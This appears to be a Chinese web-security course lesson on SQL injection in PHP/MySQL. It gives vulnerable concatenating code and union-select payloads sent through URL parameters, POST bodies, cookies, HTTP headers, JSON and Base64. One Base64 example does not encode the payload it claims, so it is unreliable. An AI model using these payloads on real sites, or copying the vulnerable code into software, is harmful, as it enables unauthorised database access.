043-WEB攻防-PHP应用&SQL注入&符号拼接&请求方法&HTTP头&JSON&编码类
引言
一、SQL 注入基础:为什么会成功?
在 PHP 开发中,若直接将用户输入(如 URL 参数、表单值)拼接到 SQL 语句中,且未做任何过滤,就可能引发注入。例如:
// 危险写法:直接拼接用户输入$id
$id = $_GET['id'];
$sql = "SELECT * FROM news WHERE id='$id'"; // 若$id是恶意值,SQL逻辑会被篡改
核心矛盾:用户输入可控 + SQL 语句直接拼接,这是所有注入的前提。
二、PHP-MYSQL 数据请求类型(注入的 “入门关卡”)
不同请求类型的核心差异是原 SQL 语句中对用户输入的 “符号包裹方式” 不同(如是否有单引号、百分号),需针对性闭合符号才能注入成功。
1. 数字型注入(无符号干扰,最简单)
原 SQL 格式
select * from news where id=$id; // $id直接作为数字,无引号包裹
注入原理
无需处理符号,直接用and/or篡改逻辑,或用union联合查询。
实战步骤
测试是否为数字型:在 URL 后加?id=1 and 1=1(页面正常)、?id=1 and 1=2(页面异常),说明存在数字型注入;
猜列数:?id=1 order by 4(若正常,说明至少 4 列;若报错,减少列数直到正常);
联合查询:?id=-1 union select 1,2,database(),4(-1让原查询无结果,只显示联合查询结果,database()可查当前数据库名)。
2. 字符型注入(单引号干扰,最常见)
原 SQL 格式
select * from news where id='$id'; // $id被单引号包裹,注入需先闭合单引号
注入原理
用户输入的$id会被单引号包裹,若直接输入1 union select...,SQL 会变成select * from news where id='1 union select...'(被当作字符串,无效)。
需用'闭合左侧单引号,再用--+(注释符)忽略右侧多余内容。
实战步骤
测试是否为字符型:?id=1'(页面报错,提示 “单引号未闭合”,说明是字符型);
闭合符号 + 注释:?id=1' --+(页面恢复正常,说明符号闭合成功);
联合查询:?id=1' union select 1,2,database(),4 --+(获取数据库名、版本等信息)。
关键说明
- --+的作用:--是 SQL 注释符,+在 URL 中会被解析为空格,确保注释生效(也可用#,但 URL 中需转义为%23)。
3. 搜索型注入(百分号干扰,多符号处理)
原 SQL 格式
select * from news where title like '%$keyword%'; // $keyword被%和''双重包裹
注入原理
%是 SQL 的 “模糊匹配符”,需先闭合%和单引号,再注释右侧内容。
实战步骤
构造注入语句:?keyword=1%' union select 1,2,database(),4 --+ and '%'=';
解析:1%' 闭合左侧的%'(原 SQL 变成like '%1%'),--+注释右侧,and '%'='确保右侧的%被匹配(避免语法错误)。
4. 框架型注入(括号 + 符号干扰,复杂场景)
原 SQL 格式
select * from news where (id='$id'); // $id被()和''双重包裹
-- 或带limit:select * from news where id='$id' limit 0,1;
注入原理
需先闭合括号和单引号,再注释后续内容。
实战步骤
闭合符号:?id=1') --+(1') 闭合('$id,变成(id='1'));
联合查询:?id=1') union select 1,2,database(),4 --+(若有 limit,可在末尾加limit 1,1调整结果显示)。
总结:不同请求类型的核心差异
请求类型 | 原 SQL 符号包裹 | 注入关键操作 | 示例语句 |
---|---|---|---|
数字型 | 无符号 | 直接加 and/union | 1 union select 1,2,3 |
字符型 | 单引号 | 闭合单引号 + 注释 | 1' union select 1,2,3 --+ |
搜索型 | 单引号 + 百分号 | 闭合 % 和单引号 + 注释 | 1%' union select 1,2,3 --+ and '%'=' |
框架型 | 单引号 + 括号 | 闭合括号和单引号 + 注释 | 1') union select 1,2,3 --+ |
三、PHP-MYSQL 数据请求方法(注入的 “攻击路径”)
PHP 通过$_GET、$_POST、$_COOKIE等全局变量获取用户输入,甚至通过$_SERVER获取 HTTP 头信息。只要这些数据被拼接到 SQL 中,就可能引发注入。
1. 核心请求方法:GET/POST/Cookie(直接输入注入)
(1)GET 注入(最直观,参数在 URL 中)
-
原理:通过 URL 参数(如?id=1)传入恶意值,对应 PHP 代码$id = $_GET['id'];
-
实战:参考 “数据请求类型” 中的示例(如字符型注入?id=1' union select... --+)。
(2)POST 注入(参数在请求体中,需抓包)
-
场景:登录表单(用户名 / 密码)、提交表单等,对应 PHP 代码$username = $_POST['username'];
-
实战步骤(以登录表单为例):
-
用 Burp 抓包:拦截登录请求(方法为 POST,参数在Form Data中,如username=admin&password=123);
-
发送到 Repeater:修改username为恶意值,测试注入;
-
猜列数:username=admin' order by 4 --+&password=任意值(通过Content-Length判断:正常时长度不变,报错时长度变化);
-
查数据库:username=admin' union select 1,database(),version(),4 --+&password=任意值(页面可能回显数据库名、版本)。
-
(3)Cookie 注入(参数在 Cookie 中,需改 Cookie)
-
原理:若 PHP 从 Cookie 获取值并拼接 SQL(如$c = $_COOKIE['user']),可修改 Cookie 注入;
-
实战:用 Burp 抓包,在Cookie字段后加; user=1' union select 1,database(),3 --+,发送请求。
关键说明:$_REQUEST的风险
$_REQUEST会同时获取 GET、POST、Cookie 中的参数,若用$r = $_REQUEST['r']拼接 SQL,意味着GET/POST/Cookie 都可能成为注入入口,风险更高。
2. HTTP 头注入(间接注入,易被忽略)
部分网站会将 HTTP 头信息(如用户浏览器、IP)存入数据库(如统计用户设备、记录访问 IP),若直接拼接 SQL,会引发注入。常见可注入的 HTTP 头如下:
HTTP 头 | 作用 | PHP 获取方式 | 注入场景 |
---|---|---|---|
User-Agent | 告诉服务器客户端的浏览器 / 系统版本 | $_SERVER['HTTP_USER_AGENT'] | 网站记录用户设备信息到数据库 |
X-Forwarded-For(XFF) | 记录客户端真实 IP(代理场景) | $_SERVER['HTTP_X_FORWARDED_FOR'] | 网站用 IP 做白名单验证(如仅允许特定 IP 登录) |
Referer | 记录请求来源页面 | $_SERVER['HTTP_REFERER'] | 网站验证请求是否来自指定页面(如防止跨站提交) |
Host | 记录客户端要访问的域名 / IP | $_SERVER['HTTP_HOST'] | 网站多域名部署时,用 Host 判断访问的站点 |
实战案例:XFF 头注入(IP 白名单绕过)
场景
网站用 IP 白名单验证:仅数据库中存在的 IP 才能登录,PHP 代码如下:
// 获取客户端IP(优先取XFF头)
function getip() {if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) {$ip = getenv("HTTP_X_FORWARDED_FOR"); // 可被篡改} else {$ip = getenv("REMOTE_ADDR");}return $ip;
}// 用IP查询数据库,判断是否允许登录
$ip = getip();
$sql = "SELECT * FROM admin WHERE ip='$ip'"; // 直接拼接$ip,存在注入
注入步骤
抓包:拦截登录请求,查看是否有X-Forwarded-For头(若无则手动添加);
构造恶意 XFF 头:X-Forwarded-For: 127.0.0.1' union select 1,database(),user(),4 --+;
发送请求:若页面回显database()的结果(如testdb),说明注入成功;
绕过白名单:若仅需登录,可直接改 XFF 头为白名单 IP(如X-Forwarded-For: 192.168.1.100)。
四、PHP-MYSQL 数据请求格式(编码 / 格式的 “破解”)
部分网站会对用户输入做 “格式封装”(如 JSON)或 “编码处理”(如 Base64),需先还原为原始数据,再构造注入语句。
1. JSON 格式注入(需按 JSON 语法构造恶意值)
场景
前端用 JSON 格式提交数据,PHP 解码后拼接 SQL,代码如下:
// 接收JSON数据(如前端POST的{"username":"admin","password":"123"})
$jsonData = file_get_contents("php://input");
$data = json_decode($jsonData, true); // 解码为数组// 直接拼接,存在注入
$username = $data['username'];
$password = $data['password'];
$sql = "SELECT * FROM admin WHERE username='$username' AND password='$password'";
注入步骤
-
抓包:拦截 POST 请求,查看请求体是否为 JSON 格式(如{"username":"admin","password":"123"});
-
构造恶意 JSON:按字符型注入规则,修改username为admin' union select 1,database(),version(),4 #,注意 JSON 语法需正确(引号用双引号,内部单引号无需转义);
-
发送请求:请求体改为{"username":"admin' union select 1,database(),version(),4 #","password":"任意值"},若回显数据库信息,注入成功。
2. Base64 编码注入(需先编码恶意语句)
场景
前端将参数 Base64 编码后提交,PHP 解码后拼接 SQL,代码如下:
// 获取GET参数id(Base64编码)
$id = $_GET['id'] ?? 'MQ=='; // 默认为MQ==(Base64解码后是1)
$bid = base64_decode($id); // 解码为原始值// 直接拼接,存在注入
$sql = "SELECT * FROM news WHERE id='$bid'";
注入步骤
确定编码方式:若?id=MQ对应页面显示id=1的内容,说明MQ是1的 Base64 编码;
构造恶意语句:按字符型注入规则,生成原始注入语句:1' union select 1,database(),3,4 --+;
Base64 编码:将原始语句编码为MSd1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMsNCAtLT4=;
发送请求:?id=MSd1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMsNCAtLT4=,页面会回显数据库信息。
关键工具
Base64 编码 / 解码:可用在线工具(如Base64.cn)或 Burp 的 “Decoder” 模块。
五、常见问题与解决方案(注入失败怎么办?)
常见问题 | 原因 | 解决方案 |
---|---|---|
注入语句报错:mysqli_num_rows() expects parameter 1 to be mysqli_result | SQL 语法错误(如多了单引号、括号不匹配) | 检查注入语句的符号闭合:1. 确认原 SQL 的符号包裹方式(如是否有括号);2. 简化语句(先测试1' --+是否正常,再逐步加 union) |
联合查询无结果 | 1. 原查询有结果(覆盖了联合查询结果);2. 列数不匹配 | 1. 用-1或999让原查询无结果(如?id=-1' union...);2. 重新用order by确认列数 |
HTTP 头注入无回显 | 1. 网站未将 HTTP 头信息存入数据库;2. 注入语句未闭合符号 | 1. 先测试 HTTP 头是否生效(如改 User-Agent 为test,看页面是否回显test);2. 按字符型 / 框架型规则闭合符号 |